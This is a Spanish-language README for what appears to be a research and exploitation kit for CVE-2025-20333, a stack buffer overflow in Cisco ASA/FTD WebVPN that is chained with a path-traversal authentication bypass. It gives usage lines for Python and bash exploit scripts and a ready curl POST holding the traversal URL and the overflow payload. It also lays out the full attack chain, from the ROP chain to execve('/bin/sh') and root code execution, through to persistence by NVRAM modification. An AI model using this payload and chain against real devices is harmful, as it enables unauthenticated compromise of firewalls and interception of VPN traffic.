
Herramienta completa de investigación y explotación para CVE-2025-20333, un desbordamiento de búfer crítico en la pila en Cisco ASA/FTD WebVPN. Incluye análisis binario detallado, exploits PoC en Python y bash, y guía de explotación.
Este directorio contiene investigación exhaustiva, análisis y código de prueba de concepto para CVE-2025-20333, una vulnerabilidad crítica de desbordamiento de búfer en la pila en servidores WebVPN de Cisco ASA/FTD.
Estado: ⚠️ Explotada activamente en la naturaleza (campaña ArcaneDoor)
Puntuación CVSS: 9.8 Crítico
Autenticación: No (evadida mediante CVE-2025-20362)
Impacto: Ejecución remota de código como root
CVE-2025-20333-RESEARCH-NOTES.md (20 KB)Investigación completa de ingeniería inversa
Hallazgo Clave:
Búfer fijo de 16 bytes (local_58[16]) en body_lexer.re2c
El bucle de decodificación de URL NO TIENE COMPROBACIÓN DE LÍMITES
Escritura en local_58[iVar11] sin verificar que iVar11 < 16
Después de 8 pares hexadecimales: desbordamiento → corrupción de pila → RCE
EXPLOITATION-GUIDE.md (12 KB)Manual práctico de explotación
cve-2025-20333-poc.py (15 KB)Exploit de Python con todas las funciones
Características:
Uso:
# Mostrar detalles de la vulnerabilidad
python3 cve-2025-20333-poc.py --details
# Explotar objetivo
python3 cve-2025-20333-poc.py 192.168.1.100 443
# Configuración personalizada
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8.5 KB)Exploit bash ligero
Características:
Uso:
# Mostrar detalles
./cve-2025-20333-poc.sh --details
# Explotar
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# Manual con curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| Propiedad | Valor |
|---|---|
| ID CVE | CVE-2025-20333 |
| Tipo | Desbordamiento de búfer en la pila (CWE-120) |
| Componente | body_lexer.re2c (FUN_0302e690) |
| Versiones Afectadas | ASA 9.16–9.23, FTD 7.0–7.7 |
| CVSS v3.1 | 9.8 (Crítico) |
| Autenticación | No requerida (mediante CVE-2025-20362) |
| Interacción del Usuario | Ninguna |
| Impacto | RCE como root, compromiso total del sistema |
| Estado | Explotada activamente (mayo de 2025+) |
| Divulgación Responsable | Cisco parcheó; aviso publicado |
// body_lexer.re2c - Bucle de decodificación de URL
byte local_58[16]; // ← Búfer fijo de 16 bytes
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← ¡SIN COMPROBACIÓN DE LÍMITES!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
Activación del Desbordamiento: 9+ secuencias consecutivas de %XX en el cuerpo POST
1. Atacante (SIN AUTENTICACIÓN requerida)
↓
2. HTTP POST a /+CSCOU+/../+CSCOE+/files/file_list.json
├─ CVE-2025-20362: Path traversal evita la comprobación de autenticación
└─ Alcanza el endpoint files_retr.lua (auth_flag = 0)
↓
3. Cuerpo POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9+ pares codificados en URL)
↓
4. body_lexer.re2c procesa el cuerpo POST
├─ Acumula pares hexadecimales en local_58[16]
└─ Después de 8 pares: ¡DESBORDAMIENTO!
↓
5. Corrupción de la pila
├─ Sobrescribe local_48, local_40
├─ Sobrescribe RBP guardado
└─ Sobrescribe RIP guardado (dirección de retorno)
↓
6. Secuestro del flujo de control
├─ RIP apunta a gadgets ROP
├─ La cadena ROP prepara execve()
└─ execve("/bin/sh", NULL, NULL)
↓
7. RCE como root (el proceso lina se ejecuta como root)
├─ Compromiso total del servidor VPN
├─ Acceso a todo el tráfico VPN
└─ Persistencia mediante modificación de NVRAM
lina en Ghidra/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16] sin comprobación de límitesVerificar Autorización
Ejecutar Exploit
# Verificación rápida: ¿Responde el objetivo al intento de exploit?
python3 cve-2025-20333-poc.py <target_ip>
# O versión bash:
./cve-2025-20333-poc.sh <target_ip>
Verificar la Explotación
Documentar Hallazgos
CVE-2025-20333-RESEARCH-NOTES.md